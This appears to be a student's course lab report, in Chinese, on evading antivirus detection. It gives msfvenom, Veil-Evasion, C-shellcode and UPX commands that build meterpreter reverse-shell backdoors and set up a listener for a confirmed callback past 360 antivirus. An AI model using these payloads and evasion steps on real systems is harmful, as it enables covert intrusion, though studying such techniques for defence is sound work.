一、实践目标
通过本部分内容的学习,认识到杀软局限性,提高在工作生活中对于恶意软件防范能力。
二、实践内容
- 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具、使用C + shellcode编程或使用其他课堂未介绍方法自己利用shellcode编程等免杀工具或技巧
- 2.通过组合应用各种技术实现恶意代码免杀
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。) - 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。
三、预备知识
1.免杀概念
一般是对恶意软件做处理,让它不被杀毒软件所检测。
2.恶意软件检测机制
2.1基于特征码的检测
- 恶意代码包含这样的数据
- 正常程序不包含这样的数据
- AV软件厂商要做的就是尽量搜集最全的、最新的特征码库
- 根据些片面特征去推断。通常是因为缺乏精确判定依据。
- 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。
- 典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
- 从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式
2.2启发式恶意软件检测
2.3基于行为的恶意软件检测
四、实践步骤
任务一 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil,加壳工具等单一方法实现部分免杀
(一)正确使用msf编码器
1.将实验二中用msf命令生成的后门程序4315_backdoor.exe放到VirusTotal或Virscan中扫描,刚从kali拿出来360就报毒了
不出我所料,果然检测到有毒
可以发现,71款杀软中有58款报出了病毒。毕竟Msfvenom是Metasploit平台下用来编码payloads免杀的工具,以Metaspliot的知名度和普及度,只要一有新编码算法,马上就会加到特征库里,所以被大多数杀软识别出来并不奇怪。
接下来用msf编码器进行一次编码,使用命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.1.9 LPORT=4315-f exe > srq4315.exe 生成编码过的可执行文件4315.exe:
进行8次编码尝试:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 8 -b ‘\x00’ LHOST=192.168.1.9 LPORT=4315 -f exe > 4315_backdoor.exe
检验结果并没有多大改变,所以多次迭代对于免杀并没有什么效果。
结论:
对比发现多次编码对于免杀没有太大的帮助 并没有实质变化,因为msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。
msfvenom生成其他文件
(1)jar文件
终端输入命令 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.9 LPORT=4315 x> 20174315_java.jar 生成文件
去virustotal中进行扫描,结果如下:
相比exe,杀软报毒数量明显减少。
(2)php文件
终端输入命令 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.9 LPORT=4315 x> 4315_backdoor.php 生成php文件
生成好之后放到virustotal.com中扫描一下:
可以看到有34个杀软报毒,和jar格式差不多。
综上所述,用MSF生成这些java格式文件和php格式文件相比exe格式文件对免杀还是有一定的效果。
2.1.3 使用veil-evasion生成后门程序及检测
Veil-Evasion是一个与Metasploit有点类似的软件,可以在kali进行在线安装:sudo apt-get install veil-evasion
用命令cd /usr/share/veil/config/进入该文件夹
使用命令vim setup.sh,把github仓库改成码云的仓库,https://gitee.com/spears/VeilDependencies.git
输入veil
指令,进入如下个界面
输入命令use c/meterpreter/rev_tcp.py
进入配置界面:
设置反弹连接IP,命令为:set LHOST 192.168.80.131
,注意此处的IP是虚拟机Kali的IP;
设置端口,命令为:set LPORT 4315
输入generate
生成文件,接着输入你想要playload的名字:veil_s_4315
在virustotal.com上去扫描了:
2.1.4 使用C + shellcode编程
在kali主机下,进入终端,执行指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.131 LPORT=4310 -f c
得到一个生成的shellcode数组:
新建一个shellcode_4315.c文件,用vim进行编辑,把刚得到的shellcode数组拷贝进去,并增加一个main函数。
使用 i686-w64-mingw32-g++ shellcode4315.c -o 20174315.exe 命令将该C语言代码MSSC.c转换为一个可在64位windows系统下操作的可执行文件20174315.exe
把文件放到virustotal.com上去扫描:
2.1.5 加壳
下载apt-get install upx
输入 upx shellcode_4307.exe -o 20174307_upxed.exe 给之前的文件加壳
检测结果:
任务二:通过组合应用各种技术实现恶意代码免杀
因为采用Veil-Evasion的其他荷载生成后门方式可以通过查杀,所以我们采用这种方法进行免杀
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
打开msfconsole进行监听,输入以下指令:
use exploit/multi/handler //监听设置
set payload set payload windows/meterpreter/reverse_tcp //使用与生成后门程序一样的
payload set LHOST 192.168.80.131 //Linux端的IP地址
set LPORT 4310 //与之前输入的端口号一致
exploit //开始监听
观察到成功回连,360没有查杀,通过检测。
五、实验总结
基础问题回答
(1)杀软是如何检测出恶意代码的?
主要有三种方式:
1)第一种是基于特征码的检测,特征码就相当于每一个恶意程序的指纹,是恶意程序区别于其他程序的唯一标志。
2)第二种是启发式恶意软件检测,简单来说,就是杀软根据程序的片面特征去推断其是否包含恶意代码,通常缺乏精确判定依据。
3)第三种是基于行为的恶意软件检测,和启发式的原理是一样的,判断的依据是恶意程序的行为。
(2)免杀是做什么?
免杀就是对恶意程序的代码部分进行一定程度的修改,由于杀毒软件的主要检测方法是基于特征码的检测,故我们免杀的主要工作就是做出病毒库中的还未出现的特征码。
(3)免杀的基本方法有哪些?
使用其他语言对恶意程序进行编译;给恶意程序加冷门壳;对恶意程序的代码进行异或等类似操作。
实验收获和总结
这次实验是在上次实验的基础上进行扩充的,介绍了一个新的概念:免杀。由于我们上次做实验都是在关闭防火墙和杀毒软件的基础上进行的,所以显然相对于本次实验没有实战意义。但考虑到现在主流的杀毒软件的查杀方法应该不止基于特征码这一种,即使在特征码上做手脚也很难保证在基于行为的恶意软件检测中不被查杀到,所以希望能在今后的课堂上继续丰富自己的知识,对免杀有进一步更深刻的了解。